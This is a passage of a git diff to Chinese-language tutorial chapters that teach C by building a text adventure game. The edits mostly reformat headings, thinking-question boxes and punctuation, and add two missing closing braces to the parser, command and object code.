toggle.h +## toggle.h ```c extern void cannotBeOpened(void); @@ -376,7 +380,7 @@ extern void toggleBox(void); extern void toggleBoxLock(void); ``` -# toggle.c +## toggle.c ```c #include @@ -439,7 +443,7 @@ void toggleBoxLock(void) 正如前面所宣布的,打开、关闭、锁定和解锁这四个命令的实现是完全通用的。 -# openclose.h +## openclose.h ```c extern void executeOpen(const char *noun); @@ -448,7 +452,7 @@ extern void executeLock(const char *noun); extern void executeUnlock(const char *noun); ``` -# openclose.c +## openclose.c ```c #include @@ -478,17 +482,18 @@ void executeUnlock(const char *noun) { OBJECT *obj = reachableObject("what you want to unlock", noun); if (obj != NULL) (*obj->unlock)(); +} ``` 上面,我们使用了一个通用函数 reachableObject 来处理不在这里的对象;其实现见下文。这样,我们就不必把同样的代码写四遍(每个执行函数写一遍)。更多的命令将在第 15 章中加入;这些命令将受益于同样的函数。 -# reach.h +## reach.h ```c extern OBJECT *reachableObject(const char *intention, const char *noun); ``` -# reach.c +## reach.c ```c #include @@ -526,7 +531,7 @@ OBJECT *reachableObject(const char *intention, const char *noun) 同样,我们也要对 parsexec.c 进行补充 -# parsexec.c +## parsexec.c ```c #include diff --git a/3.编程思维体系构建/3.4.6.13.编写解析器.md b/3.编程思维体系构建/3.4.6.13.编写解析器.md index 7a73c4b..1e591b9 100644 --- a/3.编程思维体系构建/3.4.6.13.编写解析器.md +++ b/3.编程思维体系构建/3.4.6.13.编写解析器.md @@ -1,6 +1,6 @@ # 13.编写解析器 -每个文本冒险都有一个解析器,但是解析器也有高下之分。一个简单的 "动词-名词 "解析器(就像我们从第二章开始一直使用的那个)对于一个精心设计的冒险游戏来说可能已经足够了。 +每个文本冒险都有一个解析器,但是解析器也有高下之分。一个简单的 "动词 - 名词 "解析器(就像我们从第二章开始一直使用的那个)对于一个精心设计的冒险游戏来说可能已经足够了。 然而,Infocom 已经证明,一个更高级的解析器确实有助于制作一个令人愉快的游戏。它不一定要通过图灵测试。 @@ -19,7 +19,8 @@ char *noun = strtok(NULL, "\n"); - 它确实接受多字对象(如银币),但字与字之间的空格必须准确无误。我们的游戏拒绝银币和硬币之间的双空格。 - 它是区分大小写的;"向北走 "的命令因为大写的 "G "而不被识别。 -思考题:你能想到有什么办法解决这些问题吗? +::: warning 🤔 思考题:你能想到有什么办法解决这些问题吗? +::: 编写一个好的分析器并不是一件小事,但在这里我将给你一个相对简单的方法,我们将定义一个由模式列表组成的语法,类似于(但比)正则表达式要简单得多。 @@ -30,7 +31,8 @@ char *noun = strtok(NULL, "\n"); 为了解析用户的输入,我们将从上到下遍历模式列表,依次尝试将用户的输入与每个模式匹配。我们将在发现第一个匹配时停止。为了简单起见,我们将不使用回溯,尽管这可以在以后添加。 -思考题:如果我们使用回溯,那该怎么编写代码? +::: warning 🤔 思考题:如果我们使用回溯,那该怎么编写代码? +::: 大写字母是我们语法中的非终端符号,它们可以匹配任何标签(任何对象)。当解析器在两个不同的标签(例如 "银币 "和 "银")之间进行选择时,较长的标签将被优先考虑。 @@ -40,7 +42,7 @@ char *noun = strtok(NULL, "\n"); const char *params[26]; ``` -该数组有 26 个元素;字母表中的每个(大写)字母都有一个,这足以满足一个模式中多达 26 个不同的非终端。对于一个(匹配的)模式中的每个非终端,将通过在非终端的数组元素中填充一个指向该特定标签的指针来 "捕获 "一个匹配的标签。 params[0](第一个数组元素)捕获非终端 "A",params[1]捕获 "B",以此类推。一个简单的宏定义可以用来找到属于某个非终端的数组元素。 +该数组有 26 个元素;字母表中的每个(大写)字母都有一个,这足以满足一个模式中多达 26 个不同的非终端。对于一个(匹配的)模式中的每个非终端,将通过在非终端的数组元素中填充一个指向该特定标签的指针来 "捕获 "一个匹配的标签。params[0](第一个数组元素)捕获非终端 "A",params[1]捕获 "B",以此类推。一个简单的宏定义可以用来找到属于某个非终端的数组元素。 ```c #define paramByLetter(letter) (params + (letter) - 'A') @@ -52,7 +54,8 @@ const char *params[26]; 假设用户打错了字,输入了 "go kave"。问题是,这个命令到底应不应该匹配 "go A "这个命令?如果我们不想出解决办法,那么这个命令将无法匹配任何其他命令,并最终进入一个通用的错误处理程序,它可能会回答 "我不知道如何去 kave "这样的话。这就失去了改进这些 "消极反应 "的所有机会;回答 "我不知道你要去哪里 "已经感觉更自然了。最好的办法是将所有关于命令去向的答复保持在函数 executeGo 内。 -停下来想一想,可以怎么解决这个问题? +::: warning 🤔 停下来想一想,可以怎么解决这个问题? +::: 有几种方法可以实现这一点,但最简单的方法是允许非终止符匹配任何东西。所以不仅仅是一个有效的标签,也包括完全的胡言乱语、空白或什么都没有这种语句。这种 "无效 "的输入将被捕获为一个空字符串("")。 @@ -73,17 +76,18 @@ const char *params[26]; 前两个命令形式可以为任何顺序,但第三个必须在最后。 -思考题:你是否有办法解决这个问题? +::: warning 🤔 思考题:你是否有办法解决这个问题? +::: 是时候将其付诸行动了。我们将抛弃模块 parsexec.c 的现有内容,用一个新的函数 parseAndExecute 的实现来取代它,该函数使用一个模式列表,应该能够匹配我们到目前为止实现的每一条命令。每个模式都与一个执行相应命令的函数相联系。 -# parsexec.c +## parsexec.c ```c extern bool parseAndExecute(const char *input); ``` -# parsexec.h +## parsexec.h ```c #include @@ -149,7 +153,7 @@ bool parseAndExecute(const char *input) 最难的部分是函数 matchCommand 的实现。但正如你在下面看到的,这也可以在不到 100 行的代码中完成。 -# match.h +## match.h ```c #define MAX_PARAMS 26 @@ -161,7 +165,7 @@ extern const char *params[]; extern bool matchCommand(const char *src, const char *pattern); ``` -# match.c +## match.c ```c #include @@ -242,7 +246,7 @@ bool matchCommand(const char *src, const char *pattern) 我们调整各种命令的实现,以利用新的数组参数。 -# inventory.h +## **inventory.h** ```c extern bool executeGet(void); @@ -252,7 +256,7 @@ extern bool executeGive(void); extern bool executeInventory(void); ``` -# inventory.c +## **inventory.c** ```c #include @@ -323,7 +327,7 @@ bool executeInventory(void) 我们在上一章中添加的模块也是如此。 -# opemclose.h +## opemclose.h ```c extern bool executeOpen(void); @@ -332,7 +336,7 @@ extern bool executeLock(void); extern bool executeUnlock(void); ``` -# openclose.c +## openclose.c ```c #include @@ -372,7 +376,7 @@ bool executeUnlock(void) 在 location.c 中,look around 命令被赋予了自己的功能,与检查特定对象的 look 命令分开(见第 7-12 行)。 -# location.h +## location.h ```c extern bool executeLookAround(void); @@ -380,7 +384,7 @@ extern bool executeLook(void); extern bool executeGo(void); ``` -# location.c +## location.c ```c #include @@ -453,7 +457,7 @@ bool executeGo(void) } ``` -我们的游戏仍然只接受简单的动词-名词命令,但新的解析器确实有可能接受有多个名词的命令,如 "put coin in box",这将在下一章中演示。 +我们的游戏仍然只接受简单的动词 - 名词命令,但新的解析器确实有可能接受有多个名词的命令,如 "put coin in box",这将在下一章中演示。 新的解析器比原来的解析器有了很大的改进,但以今天的标准来看,它仍然远远不够完美。例如,没有结构性的方法可以用一个命令操纵多个对象("获得硬币、钥匙和灯")或连续执行两个或多个命令("获得钥匙然后向东走")。这对于一个 RPG 游戏来说限制实在太大了! diff --git a/3.编程思维体系构建/3.4.6.14.丰富命令.md b/3.编程思维体系构建/3.4.6.14.丰富命令.md index 80f86f0..9ced0d2 100644 --- a/3.编程思维体系构建/3.4.6.14.丰富命令.md +++ b/3.编程思维体系构建/3.4.6.14.丰富命令.md @@ -2,7 +2,7 @@ 是时候证明新的解析器确实有能力解释更复杂的命令了。 -到目前为止,我们的解析器只接受简单的动词-名词命令。让我们试着解析一些更复杂的命令,比如: +到目前为止,我们的解析器只接受简单的动词 - 名词命令。让我们试着解析一些更复杂的命令,比如: - get coin from box - put coin in box @@ -16,7 +16,8 @@ - ask A from B - give A to B -思考题:你能否自行实现这些命令 +::: warning 🤔 思考题:你能否自行实现这些命令 +::: 但是正如前一章所解释的,类似的命令(比如 "从 B 中获取 A "和已经存在的 "获取 A")必须以正确的顺序排列。如果'get A'首先出现,那么它将消耗任何以'get'开头的命令,包括所有应该被新模式匹配的命令。简而言之,"从 B 获取 A "必须出现在 "获取 A "之前。 @@ -32,13 +33,13 @@ 目前,我们不需要有两个以上非终结点的模式。 -# parsexec.h +## parsexec.h ```c extern bool parseAndExecute(const char *input); ``` -# parsexec.c +## parsexec.c ```c #include @@ -106,9 +107,9 @@ bool parseAndExecute(const char *input) } ``` -在一个新的模块 inventory2.c 中,我们实现了新的多名词命令 get、drop/put、ask 和 give。现在我们终于可以把金币放回盒子里了(可喜可贺,可喜可贺)。 +在一个新的模块 inventory2.c 中,我们实现了新的多名词命令 get、drop/put、ask 和 give。现在我们终于可以把金币放回盒子里了 (可喜可贺,可喜可贺)。 -# inventory2.h +## inventory2.h ```c extern bool executeGetFrom(void); @@ -117,7 +118,7 @@ extern bool executeAskFrom(void); extern bool executeGiveTo(void); ``` -# inventory2.c +## inventory2.c ```c #include @@ -210,11 +211,12 @@ bool executeGiveTo(void) 仔细观察上面的代码,你可能会注意到,像 "把硬币放进森林 "和 "把硬币放进盒子 "这样的命令(当盒子被关闭时)会得到以下奇怪的回答:"这太重了。" 这是因为大多数物体(包括封闭的盒子,以及像森林这样的场景)容纳其他物体的能力为零。这是正确的,但这个信息是很不恰当的。为了避免这种情况,我们将为那些容量为零的物体引入一个单独的信息:"这样做似乎不太适合。" -先想想有没有什么办法解决? +::: warning 🤔 先想想有没有什么办法解决? +::: 然而,当它作为对 "把钥匙放进盒子里 "的回应时,这个特殊的信息是完全误导的。所以我们将为这种特殊的对象组合做一个特殊的例外。 -# move.c +## move.c ```c #include diff --git a/3.编程思维体系构建/3.4.6.15.赋予明暗.md b/3.编程思维体系构建/3.4.6.15.赋予明暗.md index af0e4e0..d061695 100644 --- a/3.编程思维体系构建/3.4.6.15.赋予明暗.md +++ b/3.编程思维体系构建/3.4.6.15.赋予明暗.md @@ -4,11 +4,11 @@ 在黑暗中的效果因游戏而异。通常情况下,它使命令 "look "没有效果。在一些游戏中(如 Zork),黑暗是致命的。在其他游戏中,只要你画出了黑暗区域的详细地图,在没有光源的情况下,你仍然可以取得进展。 -我们的游戏将保持在这两者之间;在黑暗中不会让你被杀,但你也不能进入任何通道(具有光亮的通道将是一个例外)。对我们来说,让玩家跑进一个黑暗的区域,而没有不让他机会回到他来的地方,似乎是不公平的。 +我们的游戏将保持在这两者之间;在黑暗中不会让你被杀,但你也不能进入任何通道 (具有光亮的通道将是一个例外)。对我们来说,让玩家跑进一个黑暗的区域,而没有不让他机会回到他来的地方,似乎是不公平的。 好吧,所以首先,我们来设计在黑暗中玩家无法看到周围环境。 -# location.c +## location.c ```c #include @@ -90,7 +90,7 @@ bool executeGo(void) 其次,在黑暗中玩家无法看到或使用附近的物体。 -# noun.c +## noun.c ```c #include @@ -193,7 +193,7 @@ OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) 在这两种情况下,我们都使用了一个函数 isLit。它在 misc.c 中被定义(并且使用量增多了)。 -# misc.h +## misc.h ```c typedef enum { @@ -216,7 +216,7 @@ extern OBJECT *actorHere(void); extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -318,6 +318,7 @@ int listObjectsAtLocation(OBJECT *location) } } return count; +} ``` 注意: @@ -326,13 +327,14 @@ int listObjectsAtLocation(OBJECT *location) - isNoticeable 函数相比 isLit 更进一步。它对每个物体都有效,而不仅仅是地点和灯。它还考虑到玩家库存中的物体总是可以被使用,即使是在黑暗中。 - 第 60 行:附近的物体仍然隐藏在黑暗中,被视为'不在这里'。这自然可以防止游戏泄露玩家不应该知道的物体的信息。 -思考题:你还能想到那哪些可以改进的地方吗? +::: warning 🤔 思考题:你还能想到那哪些可以改进的地方吗? +::: 我们为实现 isLit 函数的功能从而使用了一个新的属性 light。 -# object.awk +## object.awk -``` +```awk BEGIN { count = 0; obj = ""; @@ -428,11 +430,11 @@ function outputRecord(separator) } ``` -默认情况下,亮度为零意味着一个物体不发光。在大白天的每一个地点(通常是除了地下的所有地点)都会被赋予一个正(大于 0)的光线值。其实是什么值并不重要,只要它不是零就可以了。我们还将添加一盏灯,玩家可以携带它来穿越黑暗区域。 +默认情况下,亮度为零意味着一个物体不发光。在大白天的每一个地点(通常是除了地下的所有地点)都会被赋予一个正 (大于 0) 的光线值。其实是什么值并不重要,只要它不是零就可以了。我们还将添加一盏灯,玩家可以携带它来穿越黑暗区域。 -# object.txt +## object.txt -``` +```txt #include #include #include "object.h" @@ -658,7 +660,7 @@ extern OBJECT objs[]; 我们将添加一些命令,我们可以用来打开和关闭灯。 -# parsexec.c +## parsexec.c ```c #include @@ -733,14 +735,14 @@ bool parseAndExecute(const char *input) 下面是这些命令的实现。 -# onoff.h +## onoff.h ```c extern bool executeTurnOn(void); extern bool executeTurnOff(void); ``` -# onoff.c +## onoff.c ```c #include @@ -789,7 +791,7 @@ bool executeTurnOff(void) 为了打开和关闭灯,我们将使用我们用来打开和关闭门和盒子的相同技巧(见第 13 章)。 -# toggle.h +## toggle.h ```c extern void cannotBeOpened(void); @@ -813,7 +815,7 @@ extern void toggleBoxLock(void); extern void toggleLamp(void); ``` -# toggle.c +## toggle.c ```c #include @@ -895,9 +897,9 @@ void toggleLamp(void) 最后,我们将在我们生成的地图上标记出黑暗的位置。 -# map.awk +## map.awk -```c +```awk BEGIN { print "digraph map {\n\tnode [style=filled]"; } /^- / { outputEdges(); obj = $2; delete a; } /^[ \t]/ { a[$1] = $2; } @@ -929,9 +931,10 @@ function outputNodes() } ``` -思考题:尝试将上面的伪代码用 C 语言实现其功能 +::: warning 🤔 思考题:尝试将上面的伪代码用 C 语言实现其功能 +::: -玩家们,请注意不要把灯关掉,也不要把它丢掉。如果这样做,那么在黑暗中你将永远无法找回它。换言之,你会被困在黑暗之中! 幸运的是,下一章将提供一个撤销笨拙行动的方法。 +玩家们,请注意不要把灯关掉,也不要把它丢掉。如果这样做,那么在黑暗中你将永远无法找回它。换言之,你会被困在黑暗之中!幸运的是,下一章将提供一个撤销笨拙行动的方法。 输出样例:Welcome to Little Cave Adventure. You are in an open field. diff --git a/3.编程思维体系构建/3.4.6.2.探索未知.md b/3.编程思维体系构建/3.4.6.2.探索未知.md index 46d00e8..8c15503 100644 --- a/3.编程思维体系构建/3.4.6.2.探索未知.md +++ b/3.编程思维体系构建/3.4.6.2.探索未知.md @@ -1,26 +1,24 @@ # 2.探索未知 -::: tip 提醒 +::: tip **驾驭项目,而不是被项目驾驭** -# 驾驭项目, 而不是被项目驾驭 +你和一个项目的关系会经历 4 个阶段: -你和一个项目的关系会经历 4 个阶段: +1. 被驾驭:你对它一无所知 +2. 一知半解:你对其中的主要模块和功能有了基本的了解 +3. 驾轻就熟:你对整个项目的细节都了如指掌 +4. 为你所用:你可以随心所欲地在项目中添加你认为有用的功能 -1. 被驾驭: 你对它一无所知 -2. 一知半解: 你对其中的主要模块和功能有了基本的了解 -3. 驾轻就熟: 你对整个项目的细节都了如指掌 -4. 为你所用: 你可以随心所欲地在项目中添加你认为有用的功能 +如果你想要达成第二个阶段,你需要仔细学习不断探索更新的内容,达到第三个阶段的主要手段是独立完成实验内容和独立调试。至于要达到第四个阶段,就要靠你的主观能动性了:代码还有哪里做得不够好?怎么样才算是够好?应该怎么做才能达到这个目标? -如果你想要达成第二个阶段,你需要仔细学习不断探索更新的内容, 达到第三个阶段的主要手段是独立完成实验内容和独立调试. 至于要达到第四个阶段, 就要靠你的主观能动性了: 代码还有哪里做得不够好? 怎么样才算是够好? 应该怎么做才能达到这个目标? +你毕业后到了工业界或学术界,就会发现真实的项目也都是这样: -你毕业后到了工业界或学术界, 就会发现真实的项目也都是这样: - -1. 刚接触一个新项目, 不知道如何下手 +1. 刚接触一个新项目,不知道如何下手 2. RTFM, RTFSC, 大致明白项目组织结构和基本的工作流程 -3. 运行项目的时候发现有非预期行为(可能是配置错误或环境错误, 可能是和已有项目对接出错, 也可能是项目自身的 bug), 然后调试. 在调试过程中, 对这些模块的理解会逐渐变得清晰. -4. 哪天需要你在项目中添加一个新功能, 你会发现自己其实可以胜任. +3. 运行项目的时候发现有非预期行为 (可能是配置错误或环境错误,可能是和已有项目对接出错,也可能是项目自身的 bug), 然后调试。在调试过程中,对这些模块的理解会逐渐变得清晰。 +4. 哪天需要你在项目中添加一个新功能,你会发现自己其实可以胜任。 -这说明了: 如果你一遇到 bug 就找大神帮你调试, 你失去的机会和能力会比你想象的多得多 +这说明了:如果你一遇到 bug 就找大神帮你调试,你失去的机会和能力会比你想象的多得多 ::: 文字冒险游戏的基本交互很简单 @@ -31,17 +29,17 @@ 那么,当命令很多的时候,如果你将他写在一起,一个文件有五六千行,我相信这样的情况你是不愿意去看的,因此,我们引入了函数的概念。 -自行了解函数的概念,同时去了解当我需要引用别的文件的函数时该怎么办? - -了解一下什么是“驼峰原则”,我们为什么要依据它命名函数? +::: warning 🤔 自行了解函数的概念,同时去了解当我需要引用别的文件的函数时该怎么办? + 了解一下什么是“驼峰原则”,我们为什么要依据它命名函数? +::: 下面的代码示例包含三个函数,每个步骤一个函数: -1. 函数getInput。 -2. 函数parseAndExecute。 -3. 函数main,负责重复调用其他两个函数。 +1. 函数*getInput*。 +2. 函数*parseAndExecute*。 +3. 函数*main*,负责重复调用其他两个函数。 -# main.c +## main.c ```c #include @@ -55,7 +53,7 @@ static bool getInput(void) printf("\n--> "); //你可以将他改成你喜欢的内容 return fgets(input, sizeof input, stdin) != NULL; - //fgets用于收集键盘的输入 + //fgets 用于收集键盘的输入 } int main() @@ -69,23 +67,26 @@ int main() 注意:某些老版本的 C 语言不支持 bool 选项,你将他改为 int 是一样的。 -思考题:static 是什么意思?我为什么要用他? +::: warning 🤔 思考题:static 是什么意思?我为什么要用他? +::: -# parsexec.h +## **parsexec.h** ```c extern bool parseAndExecute(char *input); ``` -思考题:extern 是干什么的?.h 文件又在干嘛? +::: warning 🤔 思考题: +extern 是干什么的?.h 文件又在干嘛? 哇,我用了一个指针!input 前面是个指针!!! 指针是啥?[C 指针详解](https://www.runoob.com/w3cnote/c-pointer-detail.html) STFW(虽然都给你了) 在这里用指针是为了传参的时候可以传字符串哦 +::: -# parsexec.c +## **parsexec.c** ```c #include @@ -97,11 +98,11 @@ bool parseAndExecute(char *input) { char *verb = strtok(input, " \n"); char *noun = strtok(NULL, " \n"); - //strtok是string库下的一个函数 + //strtok 是 string 库下的一个函数 if (verb != NULL) { if (strcmp(verb, "quit") == 0) - //strcmp也是 + //strcmp 也是 { return false; } @@ -116,18 +117,20 @@ bool parseAndExecute(char *input) else { printf("I don't know how to '%s'.\n", verb); - //%s是verb附加参数的占位符 + //%s是 verb 附加参数的占位符 } } return true; } ``` -你的编译器可能会给出警告 the unused variable ‘noun’,这些不用担心,将会在下一章解决。 +你的编译器可能会给出警告 the unused variable‘noun’,这些不用担心,将会在下一章解决。 -返回false将导致主循环结束。 +返回*false*将导致主循环结束。 -RTFM&&STFW 搞懂 strtok 和 strcmp 的用法 +::: warning **RTFM&&STFW** +搞懂 strtok 和 strcmp 的用法 +::: 考虑一下 NULL 是干什么的 diff --git a/3.编程思维体系构建/3.4.6.3.指明地点.md b/3.编程思维体系构建/3.4.6.3.指明地点.md index cd4b749..e357152 100644 --- a/3.编程思维体系构建/3.4.6.3.指明地点.md +++ b/3.编程思维体系构建/3.4.6.3.指明地点.md @@ -1,12 +1,12 @@ # 3.指明地点 -某种极其糟糕的编程习惯 - -# Copy-paste +::: warning 某种极其糟糕的编程习惯 +Copy-paste 我们很多同学在编程的过程中,可能会写出一大堆重复性很强的代码,在最近看的 pa 中,举了这样一个例子,你不需要看懂只需要感受到就可: +::: -``` +```c if (strcmp(s, "$0") == 0) return cpu.gpr[0]._64; else if (strcmp(s, "ra") == 0) @@ -86,19 +86,20 @@ bx = torch.cat((xs[0], bs[0], xs[1], bs[1], xs[2], bs[2], xs[3], bs[3], xs[4], b xs[24], bs[24], xs[25], bs[25], xs[26], bs[26], xs[27], bs[27], xs[28], bs[28], xs[29], bs[29], xs[30], bs[30], xs[31], bs[31]), 1) ``` -你想想,你遇到这么长的代码,你愿意看他吗? +::: tip 你想想,你遇到这么长的代码,你愿意看他吗? 更可怕的是,这种编码模式可能会导致意想不到的 bug。 -当你发现这些代码有 bug 的时候, 噩梦才刚刚开始. 也许花了好几天你又调出一个 bug 的时候, 才会想起这个 bug 你好像之前在哪里调过. 你也知道代码里面还有类似的 bug, 但你已经分辨不出哪些代码是什么时候从哪个地方复制过来的了. +当你发现这些代码有 bug 的时候,噩梦才刚刚开始。也许花了好几天你又调出一个 bug 的时候,才会想起这个 bug 你好像之前在哪里调过。你也知道代码里面还有类似的 bug, 但你已经分辨不出哪些代码是什么时候从哪个地方复制过来的了。 -这种糟糕的编程习惯叫 Copy-Paste, 经过上面的分析, 相信你也已经领略到它的可怕了. 事实上, [周源源教授](https://cseweb.ucsd.edu/~yyzhou/)的团队在 2004 年就设计了一款工具 CP-Miner, 来自动检测操作系统代码中由于 Copy-Paste 造成的 bug. 这个工具还让周源源教授收获了一篇[系统方向顶级会议 OSDI 的论文](http://pages.cs.wisc.edu/~shanlu/paper/OSDI04-CPMiner.pdf), 这也是她当时所在学校 UIUC 史上的第一篇系统方向的顶级会议论文. +这种糟糕的编程习惯叫 Copy-Paste, 经过上面的分析,相信你也已经领略到它的可怕了。事实上,[周源源教授](https://cseweb.ucsd.edu/~yyzhou/)的团队在 2004 年就设计了一款工具 CP-Miner, 来自动检测操作系统代码中由于 Copy-Paste 造成的 bug. 这个工具还让周源源教授收获了一篇[系统方向顶级会议 OSDI 的论文](http://pages.cs.wisc.edu/~shanlu/paper/OSDI04-CPMiner.pdf), 这也是她当时所在学校 UIUC 史上的第一篇系统方向的顶级会议论文。 -后来周源源教授发现, 相比于操作系统, 应用程序的源代码中 Copy-Paste 的现象更加普遍. 于是她们团队把 CP-Miner 的技术应用到应用程序的源代码中, 并创办了 PatternInsight 公司. 很多 IT 公司纷纷购买 PatternInsight 的产品, 并要求提供相应的定制服务, 甚至 PatternInsight 公司最后还被 VMWare 收购了. +后来周源源教授发现,相比于操作系统,应用程序的源代码中 Copy-Paste 的现象更加普遍。于是她们团队把 CP-Miner 的技术应用到应用程序的源代码中,并创办了 PatternInsight 公司。很多 IT 公司纷纷购买 PatternInsight 的产品,并要求提供相应的定制服务,甚至 PatternInsight 公司最后还被 VMWare 收购了。 -这个故事折射出, 大公司中程序员的编程习惯也许不比你好多少, 他们也会写出 Copy-Paste 这种难以维护的代码. 但反过来说, 重视编码风格这些企业看中的能力, 你从现在就可以开始培养. +这个故事折射出,大公司中程序员的编程习惯也许不比你好多少,他们也会写出 Copy-Paste 这种难以维护的代码。但反过来说,重视编码风格这些企业看中的能力,你从现在就可以开始培养。 +::: -传统上,文本冒险是由(许多)不同位置组成的虚拟世界。虽然这不是必需的(一些冒险发生在一个房间里!),但这是解释数据结构使用的好方法。 +*传统上,文本冒险是由(许多)不同位置组成的虚拟世界。虽然这不是必需的(一些冒险发生在一个房间里!),但这是解释**数据结构**使用的好方法。* 我们首先定义一个[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language))来表示一个位置。它包含两个简单的属性开始(稍后可能会有更多的属性)。 @@ -112,13 +113,13 @@ struct location { }; ``` -思考题:我们为什么要用结构体来保存位置? +::: warning 🤔 思考题: + 我们为什么要用结构体来保存位置? -``` - 这样子做有什么好处? -``` + 这样子做有什么好处? -const 又是什么? + const 又是什么? +::: 接下来,我们定义一个位置数组。目前,我们保持它非常简单:只有两个位置。 @@ -135,9 +136,9 @@ struct location locs[2] = { }; ``` -让我们把它付诸实践。在上一章 (parsexec.c) 的代码示例中,我们更改了第 4、18 和 22 行)。 +让我们把它付诸实践。在上一章(*parsexec.c)* 的代码示例中,我们更改了第 4、18 和 22 行)。 -# parsexec.c +## parsexec.c ```c #include @@ -174,14 +175,14 @@ bool parseAndExecute(char *input) 接下来,我们将一个新模块添加到项目中 -# location.h +## location.h ```c extern void executeLook(const char *noun); extern void executeGo(const char *noun); ``` -# location.c +## location.c ```c #include @@ -236,9 +237,9 @@ void executeGo(const char *noun) } ``` -在 C 语言中,你可以使用单个语句来定义类型(结构位置),声明变量(locs)并用其初始值填充它。 +在 C 语言中,你可以使用单个语句来定义类型(*结构位置*),声明变量(*locs*)并用其初始值填充它。 -思考题:变量locs是[静态分配的](http://en.wikipedia.org/wiki/Static_memory_allocation),什么是静态分配? +思考题:变量*locs*是[静态分配的](http://en.wikipedia.org/wiki/Static_memory_allocation),什么是静态分配? 静态分配和动态分配有什么不同之处? diff --git a/3.编程思维体系构建/3.4.6.4.创建对象.md b/3.编程思维体系构建/3.4.6.4.创建对象.md index ee03ffa..1665537 100644 --- a/3.编程思维体系构建/3.4.6.4.创建对象.md +++ b/3.编程思维体系构建/3.4.6.4.创建对象.md @@ -1,17 +1,17 @@ # 4.创建对象 -在我们继续之前,我在这里使用的是哲学意义上的“对象”一词。它与面向对象编程无关,也与JavaC#Python等编程语言中预定义的“对象”类型没有任何共同之处。下面,我将定义一个名为 object 的结构体。。 +*在我们继续之前,我们在这里使用的是[哲学意义上](https://en.wikipedia.org/wiki/Object_(philosophy))的“对象”一词。它与[面向对象编程](https://en.wikipedia.org/wiki/Object-oriented_programming)无关,也与Java,C#和Python等编程语言中预定义的“对象”类型没有任何共同之处。下面,我将定义一个名为 object 的结构体。* -冒险游戏中的大多数谜题都围绕着物品。例子: +冒险游戏中的大多数谜题都围绕着**物品**。例子: - 必须找到一把钥匙,然后用来解锁某扇门。 - 必须杀死守卫或者诱骗守卫才能开启房间 所以,为了表示这个物品,我们可以使用如下[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language)): -- description: 对物品的描述 -- tag: 物品的类型 -- location: 物品所在的位置。这是对应上一章中定义的物品位置的指针。 +- **\*description: 对物品的描述** +- **\*tag: 物品的类型** +- **\*location: 物品所在的位置。这是对应上一章中定义的物品位置的指针。** ```c struct object { @@ -47,9 +47,11 @@ objs[] = { 我们发现 OBJECT 的结构体里面有一个指针和自己长得一样,不用担心,这和链表的操作类似。 -思考题:链表是什么,为什么要有这么一个操作指针? +::: warning 🤔 思考题: +链表是什么,为什么要有这么一个操作指针? 链表和数组有什么异同点,他们分别在增删改查上有什么优劣? +::: 为了更容易地用那些所谓的物品或者是地点,我们将为每个元素定义一个名字 @@ -80,33 +82,35 @@ for (obj = objs; obj < objs + 5; obj++) } ``` -暂停理解一下吧 +::: warning 🤔 暂停理解一下吧 +::: 那么,我们有合并这个物品(或地点)列表有什么好处呢?答案是这会让我们的代码变得更加简单,因为许多函数(如上面的函数通过这样的列表)只需要扫描单个列表就可以实现,而不是三个列表。有人可能会说没必要,因为每个命令仅适用于一种类型的对象: -- 命令 go 适用于位置对象。 -- 命令 get 应用于获得物品。 +- 命令 *go* 适用于位置对象。 +- 命令 *get* 应用于获得物品。 - 命令 kill 适应用于杀死人物。 但这种方法不太对劲,原因有三: -1. 某些命令适用于多种类型的对象,尤其是检查。 +1. 某些命令适用于多种类型的对象,尤其是*检查*。 2. 有时候会出现很没意思的交互方式,比如说你要吃掉守卫,他说不行。 3. 某些对象在游戏中可能具有多个角色。比如说队友系统,NPC 可以是你的物品也可以是对象 -将所有对象放在一个大列表中,很容易添加一个名为“type”的属性来构造对象,以帮助我们区分不同类型的对象。 +将所有对象放在一个大列表中,很容易添加一个名为“type”的属性来*构造对象*,以帮助我们区分不同类型的对象。 -怎么做怎么遍历呢?先思考吧 +::: warning 🤔 怎么做怎么遍历呢?先思考吧 +::: 但是,对象通常具有同样有效的其他特征: -- Locations: 通过道路连接(将在后面介绍)。如果一个物体无法通过一条通道到达,那么它就不是一个位置。就是这么简单。 -- Items:玩家唯一可以捡起的物品;可以给他们整一个重量的属性 -- Actors:玩家唯一可以与之交谈,交易,战斗的对象;当然,前提是他们还活着!可以加一个 HP 属性 +- **Locations:通过道路连接(将在后面介绍)。如果一个物体无法通过一条通道到达,那么它就不是一个位置。就是这么简单。** +- **Items:玩家唯一可以捡起的物品;可以给他们整一个重量的属性** +- **Actors:玩家唯一可以与之交谈,交易,战斗的对象;当然,前提是他们还活着!可以加一个 HP 属性** 我们还要向数组中添加一个对象:玩家自己。 -在上一章中,有一个单独的变量 locationOfPlayer。我们将删除它,然后换上用户的位置属性取代他! +在上一章中,有一个单独的变量 *locationOfPlayer*。我们将删除它,然后换上用户的位置属性取代他! 例如,此语句会将玩家移入洞穴: @@ -122,7 +126,7 @@ player->location->description 是时候把它们放在一起了。我们从对象数组的全新模块开始 -# Object.h +## Object.h ```c typedef struct object { @@ -143,7 +147,7 @@ extern OBJECT objs[]; #define endOfObjs (objs + 6) ``` -# Object.c +## Object.c ```c #include @@ -159,19 +163,20 @@ OBJECT objs[] = { }; ``` -注意:要编译此模块,编译器必须支持 Constant folding。这排除了一些更原始的编译器,如 [Z88DK](http://en.wikipedia.org/wiki/Z88DK)。 +注意:要编译此模块,编译器*必须*支持 Constant folding。这排除了一些更原始的编译器,如 [Z88DK](http://en.wikipedia.org/wiki/Z88DK)。 以下模块将帮助我们找到与指定名词匹配的对象。 -# noun.h +## noun.h ```c extern OBJECT *getVisible(const char *intention, const char *noun); ``` -# 指针?函数?希望你已经掌握这是什么了 +::: warning **🤔 指针?函数?希望你已经掌握这是什么了** +::: -# noun.c +## noun.c ```c #include @@ -227,15 +232,15 @@ OBJECT *getVisible(const char *intention, const char *noun) } ``` -这是另一个辅助程序的函数。它打印存在于特定位置的对象(物品,NPC)的列表。它将用于函数 executeLook,在下一章中,我们将介绍另一个需要它的命令。 +这是另一个辅助程序的函数。它打印存在于特定位置的对象(物品,NPC)的列表。它将用于函数 *executeLook*,在下一章中,我们将介绍另一个需要它的命令。 -# misc.h +## misc.h ```c extern int listObjectsAtLocation(OBJECT *location); ``` -# misc.c +## misc.c ```c #include @@ -251,7 +256,7 @@ 